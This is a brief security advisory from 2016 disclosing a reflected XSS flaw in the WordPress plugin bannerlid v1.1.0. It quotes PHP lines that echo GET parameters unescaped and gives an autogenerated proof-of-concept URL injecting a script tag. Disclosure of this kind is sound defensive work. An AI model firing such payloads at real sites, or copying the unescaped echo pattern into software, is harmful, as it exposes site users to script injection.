Advisory #: 760
Title: Reflected XSS in wordpress plugin bannerlid v1.1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/bannerlid
Downloads: 269
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: bannerlid
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./bannerlid/views/FormFilter.php: 33: <input type="hidden" name="page" value="<?php echo $_GET['page'];?>" /> 34: <input type="hidden" name="subpage" value="<?php echo $_GET['subpage'];?>" /> 35: <input type="hidden" name="id" value="<?php echo $_GET['id'];?>" /> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./bannerlid/views/FormFilter.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/bannerlid/views/FormFilter.php?page="><script>alert(1);</script><"